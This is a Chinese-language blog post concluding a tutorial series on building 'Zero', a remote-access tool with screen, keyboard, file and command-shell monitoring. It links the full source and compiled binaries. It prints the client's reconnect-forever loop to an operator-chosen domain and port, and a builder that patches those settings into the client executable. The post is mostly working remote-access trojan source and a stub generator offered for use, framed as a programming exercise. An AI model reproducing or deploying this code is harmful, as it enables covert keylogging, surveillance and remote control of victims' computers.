從零開始做遠控 完滿結束 釋出完整原始碼及已編譯好的程式

sumkee911發表於2016-12-26

如果你從沒看過這系列教程請點選:從零開始做遠控 簡介篇


完整程式碼下載:

1.Zero遠控完整程式碼及已編譯好的程式下載(VC版客戶端,QT版客戶端,QT版伺服器)


github完整原始碼:

https://github.com/joliph/ZeroNet


總結篇

經過了一個禮拜的工作,我們的Zero遠控終於完成了,麻雀雖小,但功能齊全,完美實現了:“螢幕監控,鍵盤監控,檔案監控,Cmd命令控制”。

你在學習Zero遠控的開發過程當中,你會更加鞏固你對"TCP網路,多執行緒,Win32 API,Qt,c++語言"的運用。



在服務端生成客戶端,特點是自定義域名和埠,不用每次更改埠就編譯一次客戶端:

1.修改客戶端的main.cpp檔案,讓服務端建立客戶端時能自定域名和埠

#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include "zeroclient.h"
#include "cmdspy.h"

// 在服務端建立客戶端時,可以自定義客戶端連向的域名和埠
int gOffsetDomain = 10;
char gDomain[100] = "DNSDNSDNS:127.0.0.1 ";
int gOffsetPort = 13;
char gPort[100] = "PORTPORTPORT:18000 ";

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    // 檢查視窗是否有重複
    char szFile[MAX_PATH],*szPt;

    GetModuleFileNameA(NULL,szFile,MAX_PATH);
    szPt = szFile + strlen(szFile);
    while(*--szPt != '\\') ;

    CreateMutexA(NULL,FALSE,szPt + 1);
    if(GetLastError() == ERROR_ALREADY_EXISTS) {
        std::cout << "Same program already running" << std::endl;
        return -1;
    }

    // 初始化Windows socket功能,要在Windows使用網路必須初始化這個
    WSAData wsaData;
    if (WSAStartup(MAKEWORD(2,1), &wsaData)) {
        std::cout << "Failed to initialize WSA" << std::endl;
        return -1;
    }

    // 主迴圈
    ZeroClient client;
    client.hInst = hInstance;
    while (1) {
        // 如果斷開了,隔一秒自動連線
		char domain[100] = {0};
		char *domainStartPos = (char*)gDomain+gOffsetDomain;
		char *domainStopPos = strchr(domainStartPos, ' ');
		memcpy(domain, domainStartPos, domainStopPos-domainStartPos);
        client.connectTo(domain, atoi(gPort+gOffsetPort));
        Sleep(1000);
    }

    // 程式完結後釋放WSA
    WSACleanup();

    return 0;
}



2.把編譯好的釋出版本客戶端放到服務端的目錄。

3.修改服務端的Widget::CreateClient()函式

void Widget::createClient()
{
    // 讀取ZeroClient.exe檔案
    const QString fileName = "ZeroClient.exe";


    QFile file(fileName);
    if (!file.exists()) {
        QMessageBox::warning(this, "提示","請將編譯好的ZeroClient.exe放到本程式的目錄下");
        return;
    }

    // 獲取儲存客戶端的位置
    QString saveFileName = QFileDialog::getSaveFileName(this, "儲存自定義客戶端",
                                                        QDir::current().absoluteFilePath("Release_ZeroClient.exe"),"應用程式(*.exe)",
                                                        0, QFileDialog::ShowDirsOnly);

    if (saveFileName.size() <= 0) {
        return;
    }

    // 開啟ZeroClient.exe
    if (!file.open(QFile::ReadOnly)) {
        QMessageBox::warning(this, "提示","無法開啟ZeroClient.exe");
        return;
    }

    QByteArray fileData = file.readAll();

    // 關閉檔案
    file.close();

    // 自定義客戶端的連向的域名和埠
    const int offsetDomain = 10;
    const char domain[100] = "DNSDNSDNS:\0";
    const int offsetPort = 13;
    const char port[100] = "PORTPORTPORT:\0";

    // 自定義域名
    int domainPos = fileData.indexOf(domain);
    if (domainPos == -1) {
        QMessageBox::warning(this, "提示","無法建立客戶端,因為無法找到\'DNSDNSDNS:\'的位置");
        return;
    }
    domainPos += offsetDomain;

    QByteArray afterDomain;
    afterDomain.append(mEditDomain->text()+" ");
    fileData.replace(domainPos, afterDomain.size(), afterDomain);

    // 自定義埠
    int portPos = fileData.indexOf(port);
    if (portPos == -1) {
        QMessageBox::warning(this, "提示","無法建立客戶端,因為無法找到\'PORTPORTPORT:\'的位置");
        return;
    }
    portPos += offsetPort;

    QByteArray afterPort;
    afterPort.append(mEditPort->text()+" ");
    fileData.replace(portPos, afterPort.size(), afterPort);

    // 儲存檔案
    QFile saveFile(saveFileName);
    if (!saveFile.open(QFile::WriteOnly)) {
        QMessageBox::warning(this, "提示","無法開啟"+saveFileName);
        return;
    }
    saveFile.write(fileData.data(), fileData.size());

    saveFile.flush();
    saveFile.close();
}



總結:

這個小課程已經圓滿結束,謝謝大家的支援,希望以後能為大家帶來更多更好的程式碼。

相關文章